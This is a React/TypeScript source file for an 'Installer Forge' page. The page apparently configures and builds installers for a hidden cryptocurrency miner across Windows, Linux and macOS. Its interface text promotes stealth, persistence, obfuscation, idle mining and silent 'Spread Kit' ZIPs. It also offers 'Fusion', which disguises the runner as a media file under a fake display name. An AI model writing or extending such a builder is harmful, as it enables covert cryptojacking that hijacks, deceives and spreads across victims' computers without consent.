import { useState, useEffect, useRef, useMemo, useCallback } from 'react'; import { Link, useNavigate, useSearchParams } from 'react-router-dom'; import { api } from '../api/client'; import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types'; import { HelpTip, FieldHint } from '../components/HelpTip'; import NeonCard from '../components/NeonCard/NeonCard'; import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp'; import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults'; import { lanEndpointCandidates } from '../help/endpointHelpers'; import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation'; import { previewInstallPath } from '../help/installPreview'; import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules'; import { applyDeliverableType, deriveDeliverableType, deliverableSummary, installBaseOptionsForTarget, normalizeForgeForm, type ForgeDeliverable, } from '../help/forgeFormNormalize'; import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints'; import { buildRequestFromRecord } from '../help/buildManager'; import DownloadButton from '../components/DownloadButton'; import { useForge } from '../context/ForgeContext'; import { fusionPayloadKind, fusionTitleFromFilename, fusionFileTypeLabel, disguisedWindowsRunnerName, disguisedDisplayName, defaultRunnerName, defaultEmbeddedName, } from '../help/fusionMedia'; import './Pages.css'; function formatBytes(n: number): string { if (n < 1024) return `${n} B`; const units = ['KB', 'MB', 'GB']; let v = n / 1024; for (const u of units) { if (v < 1024) return `${v.toFixed(2)} ${u}`; v /= 1024; } return `${v.toFixed(2)} TB`; } function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest { return forgeDefaultsFromServerSmart(config, serverInfo, builds); } // Simulated stage timeline — (label, target% completed at this point, min ms from start) const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [ { label: 'Resolving dependencies...', pct: 8, minMs: 0 }, { label: 'Compiling agent source...', pct: 28, minMs: 800 }, { label: 'Cross-compiling targets...', pct: 52, minMs: 2500 }, { label: 'Applying obfuscation...', pct: 68, minMs: 5000 }, { label: 'Packaging deliverable...', pct: 82, minMs: 8000 }, { label: 'Signing & finalizing...', pct: 93, minMs: 11000 }, { label: 'Almost done...', pct: 98, minMs: 15000 }, ]; function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) { if (!building) return null; return (
INSTALLER FORGE
Loading forge defaults from server...
INSTALLER FORGE
{simpleMode ? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.' : 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
Loading blueprints...
) : blueprints.length === 0 ? (No saved blueprints yet. Configure the form and click "Save Blueprint".
) : (Full visual guide with pipeline, Fusion, AI, and troubleshooting.
Open Field Guide{item.body}
RECOMMENDED DEFAULTS — AUTO-SELECTED
{RECOMMENDED_DEFAULTS_BLURB}
Everything on this page is configurable, but incompatible mixes are blocked at forge time. Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
{simpleMode ? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.' : 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}